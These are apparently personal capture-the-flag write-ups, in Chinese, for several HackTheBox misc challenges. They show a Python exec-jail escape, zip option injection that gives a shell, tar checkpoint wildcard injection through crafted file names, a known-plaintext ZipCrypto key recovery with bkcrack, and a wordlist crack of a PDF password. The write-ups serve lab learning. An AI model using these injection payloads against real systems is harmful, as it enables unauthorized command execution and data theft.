HTBmisc(2)

Locked Away

main.py

def open_chest():
    with open('flag.txt', 'r') as f:
        print(f.read())

blacklist = [
    'import', 'os', 'sys', 'breakpoint',
    'flag', 'txt', 'read', 'eval', 'exec',
    'dir', 'print', 'subprocess', '[', ']',
    'echo', 'cat', '>', '<', '"', '\'', 'open'
]

while True:
    command = input('The chest lies waiting... ')

    if any(b in command for b in blacklist):
        print('Invalid command!')
        continue

    try:
        exec(command)
    except Exception:
        print('You have been locked away...')
        exit(1337)

exec 是Python中的一个内置函数，它允许你在运行时动态地执行Python表达式、语句或代码块

既然如此，那么可以清空黑名单列表就可以随意输入了

┌──(mikannse㉿kali)-[~]
└─$ nc 94.237.58.173 45572

.____                  __              .___    _____                        
|    |    ____   ____ |  | __ ____   __| _/   /  _  \__  _  _______  ___.__.
|    |   /  _ \_/ ___\|  |/ // __ \ / __ |   /  /_\  \ \/ \/ /\__  \<   |  |
|    |__(  <_> )  \___|    <\  ___// /_/ |  /    |    \     /  / __ \\___  |
|_______ \____/ \___  >__|_ \\___  >____ |  \____|__  /\/\_/  (____  / ____|
        \/          \/     \/    \/     \/          \/             \/\/     

The chest lies waiting... blacklist.clear()
The chest lies waiting... open_chest()
HTB{bL4cKl1sT?_bUt_tH4t'5_t0o_3asY}

Compressor

连接之后可以进入四个目录中的一个，然后有6个操作可以选择,1.创建工件，其实就是创建一个文件，可以输入内容

┌──(mikannse㉿kali)-[~]
└─$ nc 94.237.53.113 37184

[*] Directory to work in: JZ41Tktly8IFNwi9PtSuA1OJNkn9Fk5k                                          

Component List:                                                                                     
                                                                                                    
+===============+                                                                                   
|               |                                                                                   
|  1. Head  🤖  |                                                                                   
|  2. Torso 🦴   |                                                                                  
|  3. Hands 💪  |                                                                                   
|  4. Legs  🦵   |                                                                                  
|               |                                                                                   
+===============+                                                                                   
                                                                                                    
[*] Choose component: 1

[*] Sub-directory to work in: JZ41Tktly8IFNwi9PtSuA1OJNkn9Fk5k/Head                                 
                                                                                                    

Actions:                                                                                            
                                                                                                    
1. Create artifact                                                                                  
2. List directory    (pwd; ls -la)                                                                  
3. Compress artifact (zip <name>.zip <name> <options>)                                              
4. Change directory  (cd <dirname>)                                                                 
5. Clean directory   (rm -rf ./*)                                                                   
6. Exit                                                                                             
                                                                                                    
[*] Choose action: 

这里用到了zip指令来获得shell会话(payload参考GTFOBINS)

┌──(mikannse㉿kali)-[~]
└─$ nc 94.237.53.113 37184

[*] Directory to work in: JZ41Tktly8IFNwi9PtSuA1OJNkn9Fk5k                                          

Component List:                                                                                     
                                                                                                    
+===============+                                                                                   
|               |                                                                                   
|  1. Head  🤖  |                                                                                   
|  2. Torso 🦴   |                                                                                  
|  3. Hands 💪  |                                                                                   
|  4. Legs  🦵   |                                                                                  
|               |                                                                                   
+===============+                                                                                                                                                                                
[*] Choose component: 1

[*] Sub-directory to work in: JZ41Tktly8IFNwi9PtSuA1OJNkn9Fk5k/Head                                 
                                                                                                    
Actions:                                                                                            
                                                                                                    
1. Create artifact                                                                                  
2. List directory    (pwd; ls -la)                                                                  
3. Compress artifact (zip <name>.zip <name> <options>)                                              
4. Change directory  (cd <dirname>)                                                                 
5. Clean directory   (rm -rf ./*)                                                                   
6. Exit                                                                                                                                                                                                
[*] Choose action: 1
Insert name: mikannse
Insert content: mikannse                                                                            
[+] Artifact [mikannse] was created successfuly!

Actions:                                                                                                                                                                                        
1. Create artifact                                                                                  
2. List directory    (pwd; ls -la)                                                                  
3. Compress artifact (zip <name>.zip <name> <options>)                                              
4. Change directory  (cd <dirname>)                                                                 
5. Clean directory   (rm -rf ./*)                                                                   
6. Exit                                                                                             
                                                                                                    
[*] Choose action: 2
/home/ctf/JZ41Tktly8IFNwi9PtSuA1OJNkn9Fk5k/Head
total 12
drwxr-sr-x    2 ctf      ctf           4096 Sep  6 04:00 .
drwxr-sr-x    6 ctf      ctf           4096 Sep  6 03:58 ..
-rw-r--r--    1 ctf      ctf              8 Sep  6 04:00 mikannse

Actions:                                                                                                                                                                                             
1. Create artifact                                                                                  
2. List directory    (pwd; ls -la)                                                                  
3. Compress artifact (zip <name>.zip <name> <options>)                                              
4. Change directory  (cd <dirname>)                                                                 
5. Clean directory   (rm -rf ./*)                                                                   
6. Exit                                                                                             
                                                                                                    
[*] Choose action: 3

Insert <name>.zip: mikannse
Insert <name>: mikannse
Insert <options>: -T -TT 'sh #'
  adding: mikannse (stored 0%)
whoami
ctf

SecretRezipe

题目给了dockerfile和Web的源码，是一个express框架,主要逻辑在routes.js中

const { Router } = require('express')
const child_process = require('child_process')
const fs = require('fs')
const crypto = require('crypto');
const path = require('path');
const os = require('os');

const { FLAG, PASSWORD } = require('./config/config')

const router = Router()

router.post('/ingredients', (req, res) => {
  let data = `Secret: ${FLAG}`

  if (req.body.ingredients) {
    data += `\n${req.body.ingredients}`
  }

  const tempPath = os.tmpdir() + '/' + crypto.randomBytes(16).toString('hex')
  fs.mkdirSync(tempPath);
  fs.writeFileSync(tempPath + '/ingredients.txt', data)
  child_process.execSync(`zip -P ${PASSWORD} ${tempPath}/ingredients.zip ${tempPath}/ingredients.txt`)
  return res.sendFile(tempPath + '/ingredients.zip')
})

router.get('/*', (_, res) => res.sendFile(__dirname + '/static/index.html'))

module.exports = router

就是说我们可以输入一串字符，然后会被拼接到flag后面并且用zip指令指定一个密码压缩成压缩包让我们下载下来。密码是怎么来的可以在config.js中看到PASSWORD: crypto.randomUUID()

UUID像是这样的格式:

[Running] node "c:\Users\mikannse\Desktop\1.js"
644a8b2c-a71e-4d3a-8dd6-560db79c9f41

爆破压缩包的密码显然不现实，于是鉴于压缩包内的文件内容一部分是我们输入的，由于已知压缩包内容是以Secret: HTB{ 开头。

还有一个重要原因是旧版的zip是使用zipcrypto进行加密，存在严重的安全漏洞。

使用bkcrack工具: https://github.com/kimci86/bkcrack

能看到确实是使用zipcrypto进行加密的

PS C:\Users\mikannse\Desktop\bkcrack-1.7.0-win64> .\bkcrack.exe -L .\ingredients.zip
bkcrack 1.7.0 - 2024-05-26
Archive: .\ingredients.zip
Index Encryption Compression CRC32    Uncompressed  Packed size Name
----- ---------- ----------- -------- ------------ ------------ ----------------
    0 ZipCrypto  Deflate     c4d7f400           48           59 tmp/72728dae00fcc05fc62ae89dc0842f66/ingredients.txt

-C指定压缩包,-c指定要获得的压缩包中的文件,-p指定明文文件，自己创建一个,内容是Secret: HTB{

PS C:\Users\mikannse\Desktop\bkcrack-1.7.0-win64> .\bkcrack.exe -C .\ingredients.zip -c tmp/72728dae00fcc05fc62ae89dc0842f66/ingredients.txt -p .\plaintext.txt
bkcrack 1.7.0 - 2024-05-26
[23:09:06] Z reduction using 4 bytes of known plaintext
100.0 % (4 / 4)
[23:09:06] Attack on 1303249 Z values at index 6
Keys: f52e5c12 fe26c8f1 dca2f504
95.8 % (1247977 / 1303249)
Found a solution. Stopping.
You may resume the attack with the option: --continue-attack 1247977
[23:18:18] Keys
f52e5c12 fe26c8f1 dca2f504

但是没搜寻到…(代填坑)

Micro Storage

┌──(mikannse㉿kali)-[~/HTB/secret]
└─$ nc 83.136.255.40 30366         
.-------------------------------------------------------------------------------------.
| ___  ____                  _____ _                                      __   _____  |
| |  \/  (_)                /  ___| |                                    /  | |  _  | |
| | .  . |_  ___ _ __ ___   \ `--.| |_ ___  _ __ __ _  __ _  ___  __   __`| | | |/' | |
| | |\/| | |/ __| '__/ _ \   `--. \ __/ _ \| '__/ _` |/ _` |/ _ \ \ \ / / | | |  /| | |
| | |  | | | (__| | | (_) | /\__/ / || (_) | | | (_| | (_| |  __/  \ V / _| |_\ |_/ / |
| \_|  |_/_|\___|_|  \___/  \____/ \__\___/|_|  \__,_|\__, |\___|   \_/  \___(_)___/  |
|             B y  H a c k T h e B o x  L a b s        __/ |                          |
|                                                     |___/                           |
`-----------------------.                                   .-------------------------'
                        |  Welcome to your online temporary |
                        |            Micro Storage          |
                        `-----------------------------------'

                                   \!/ WARNING \!/
   Your storage only lasts during the ongoing session, once the session killed, all
                  your files will be gone. Use this service responsibly.
                                 ---------o---------

1 => Upload a new file (10 file(s) remaining)             
2 => List your uploaded files (0 file(s) uploaded so far)
3 => Delete a file                                        
4 => Print file content                                   
5 => Compress and download all your files                 
0 => Quit (you will lose your files!)                     
>>> Choose an option:

可以做以上操作，随便写一点然后压缩写在下来，base64解码之后发现是一个tar包

那么猜测使用的像是 tar -cf * 的命令，那么显然可以用检查点的方式来执行脚本命令了

1 => Upload a new file (10 file(s) remaining)             
2 => List your uploaded files (0 file(s) uploaded so far)
3 => Delete a file                                        
4 => Print file content                                   
5 => Compress and download all your files                 
0 => Quit (you will lose your files!)                     
>>> Choose an option: 1
[*] Enter your file name: a.sh
[*] Start typing your file content: (send 'EOF' when done)
cat /flag.txtEOF
[+] Your file "a.sh" has been saved. (13 bytes written)
1 => Upload a new file (9 file(s) remaining)             
2 => List your uploaded files (1 file(s) uploaded so far)
3 => Delete a file                                        
4 => Print file content                                   
5 => Compress and download all your files                 
0 => Quit (you will lose your files!)                     
>>> Choose an option: 1
[*] Enter your file name: --checkpoint=1
[*] Start typing your file content: (send 'EOF' when done)
1EOF
[+] Your file "--checkpoint=1" has been saved. (1 bytes written)
1 => Upload a new file (8 file(s) remaining)             
2 => List your uploaded files (2 file(s) uploaded so far)
3 => Delete a file                                        
4 => Print file content                                   
5 => Compress and download all your files                 
0 => Quit (you will lose your files!)                     
>>> Choose an option: 1
[*] Enter your file name: --checkpoint-action=exec=sh a.sh
[*] Start typing your file content: (send 'EOF' when done)
1EOF
[+] Your file "--checkpoint-action=exec=sh a.sh" has been saved. (1 bytes written)
1 => Upload a new file (7 file(s) remaining)             
2 => List your uploaded files (3 file(s) uploaded so far)
3 => Delete a file                                        
4 => Print file content                                   
5 => Compress and download all your files                 
0 => Quit (you will lose your files!)                     
>>> Choose an option: 5

The secret of a Queen

https://www.dcode.fr/mary-stuart-code

HTB{THEBABINGTONPLOT}

0ld is g0ld

得到一个加密的pdf，爆破密码

┌──(mikannse㉿kali)-[~/Desktop]
└─$ pdfcrack -w /usr/share/wordlists/rockyou.txt -f "0ld is g0ld.pdf" 
PDF version 1.6
Security Handler: Standard
V: 2
R: 3
P: -1060
Length: 128
Encrypted Metadata: True
FileID: 5c8f37d2a45eb64e9dbbf71ca3e86861
U: 9cba5cfb1c536f1384bba7458aae3f8100000000000000000000000000000000
O: 702cc7ced92b595274b7918dcb6dc74bedef6ef851b4b4b5b8c88732ba4dac0c
Average Speed: 64605.2 w/s. Current Word: 'sheena1234'
Average Speed: 64316.3 w/s. Current Word: 'yorrej'
Average Speed: 64684.4 w/s. Current Word: 'sexykelly4'
Average Speed: 64416.8 w/s. Current Word: 'nearykalyan'
Average Speed: 66907.1 w/s. Current Word: 'kobngangko'
found user-password: 'jumanji69'

在PDF底下有一行摩斯电码，解密得到flag